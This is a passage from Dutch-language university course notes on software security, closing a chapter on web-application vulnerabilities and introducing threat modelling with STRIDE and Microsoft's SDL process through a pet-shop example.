47 4.4. CONCLUSIES Andere Hier zijn nog enkele niet te verwaarlozen kwetsbaarheden en bijhorende voorbeelden: Zwakke toegangscontrole: forceful browsing, slechte of geen beveiligingsbeleid Zwakke cryptografische bescherming: SSL stripping, Public Key Infrastructure (PKI) fouten. Fouten bij de browserimplementatie: Drive-by-downloads, heap spraying 4.4 Conclusies We kunnen concluderen dat het web een zeer invloedrijk applicatieplatform vormt. De technologie en complexiteit ervan maakt het kwetsbaar op verschillende vlakken. Kwetsbaarheden en aanvallen die we overigens ook op het mobiel platform mogen verwachten. Veel aanvalstechnieken zijn goed begrepen maar er komen er steeds nieuwe aan het oppervlak. Zoals altijd is het een race tussen aanvaller en verdediger.

48 42 HOOFDSTUK 4. WEBAPPLICATIES

49 Hoofdstuk 5 Conclusie 5.1 Beveiliging in de softwarecyclus Kwetsbaarheden kunnen binnensluipen in elk van de softwareontwikkelingsstadia. Het is dan ook belangrijk de soorten aanvallen te kunnen onderscheiden en te weten welke tegenmaatregelen te treffen in elke situatie en fase van de ontwikkeling. Deze cursus heeft zich voornamelijk toegelegd op het implementatieniveau en af en toe het designniveau. Het inpassen van tegenmaatregelen betekent echter niet dat er een complete verandering nodig is in het ontwikkelingsproces. Aan de hand van touchepoints en software process enrichtments kunnen deze twee worden gecombineerd. Enkele voorbeelden zijn Cigital s touchepoints 1 en Microsoft s SDL Bedreigingsmodellering Het modelleren van bedreigingen is een activiteit die plaatsvindt in de beginfase van de softwareontwikkelingslevenscyclus. Het centrale doel is een goed zicht krijgen op de mogelijke kwetsbaarheden van het systeem dat wordt ontwikkeld. Het modelleren kan gebeuren op verschillende niveaus van abstractie: Systeemniveau Bv. bedreigingsmodellering van het internet s systeem. Applicatie- of componentniveau Bv. bedreigingsmodellering van de client software. Kwetsbaarheden kunnen worden onderverdeeld in categorieën volgens het STRIDE threat model: Spoofing Information Tampering Repudiation

50 44 HOOFDSTUK 5. CONCLUSIE Information disclosure Denial of service Elevation of privilege Wanneer bedreigingen aan het licht worden gebracht is het belangrijk dat we een goed begrip hebben van de assets en van de bedreigingsagent, meer bepaald wat dienst motivatie en sterkte is. Microsoft heeft als onderdeel van het Secure Development Life Cycle een bedreigingsmodelleringsactiviteit gedefinieerd. Aan de hand van documentatie en met gebruik van tools kunnen bedreigingen in kaart worden gebracht. Aan de hand van een voorbeeld uit dit boek zullen we het proces illustreren Define Use Scenarios Allereerst moet gedefinieerd worden hoe het systeem gebruikt zal worden en hoe niet. Dit zorgt ervoor dat de discussie rond bedreigingsmodellering duidelijk omgrensd wordt. We vragen ons af welke scenario s binnen de strekking van het programma liggen. Bijvoorbeeld: houden we rekening met bedreigingen van interne agenten? List External Dependencies Elke applicatie steunt op infrastructurele software om correct te functioneren. Het is belangrijk om deze goed te documenteren. Nemen we als voorbeeld een winkel voor huisdieren. Deze steunt op: Web-based client Browser Windows Server Microsoft ISS SQl Server.NET Framework Define Security Assumptions Welke beveiligingsgaranties verwachten we van onze externe afhankelijkheden? Voor de huisdierenwinkel: ISS en ASP.NET voorzien authenticatie Fysieke toegang tot de server is beperkt tot beheerders Configuratiebestanden worden beschermt door het besturingssysteem Create External Security Notes Documenteer beveiligingsrelevante informatie voor de gebruikers van de applicatie.

51 5.2. BEDREIGINGSMODELLERING 45 Figuur 5.1: External Security Notes Model the Application Modelleer het systeem aan de hand van dataflow diagrammen. Typisch worden volgende zaken gemodelleerd: Externe entiteiten Processen Dataopslag Datastroom Beperkingen privileges Figuur 5.2: Voorbeeldmodel

52 46 HOOFDSTUK 5. CONCLUSIE Figuur 5.3: Voorbeeldmodel Figuur 5.4: Voorbeeldmodel

53 5.2. BEDREIGINGSMODELLERING Determine Threat Types Microsofts proces maakt gebruikt van de STRIDE bedreigingstypen. (zie eerder) Identify Threats Alle DFD elementen worden beschouwd als assets. Zie afbeelding 5.5. Figuur 5.5: DFD en STRIDE Determine Risk Subjectieve numerieke methodes om het belang te schatten (bv. DREAD) worden niet meer gebruikt. De huidige guideline zegt gebruik te maken van objectieve karakteristieken zoals: Server applicatie versus client applicatie Lokaal versus toegankelijk op afstand Toegankelijk voor anonieme gebruikers Figuur 5.6: Spoofing

54 48 HOOFDSTUK 5. CONCLUSIE Figuur 5.7: Tampering Figuur 5.8: Information Disclosure

55 5.2. BEDREIGINGSMODELLERING 49 Figuur 5.9: Denial of Service Figuur 5.10: Elevation of Privileges Plan Mitigations Strategieën: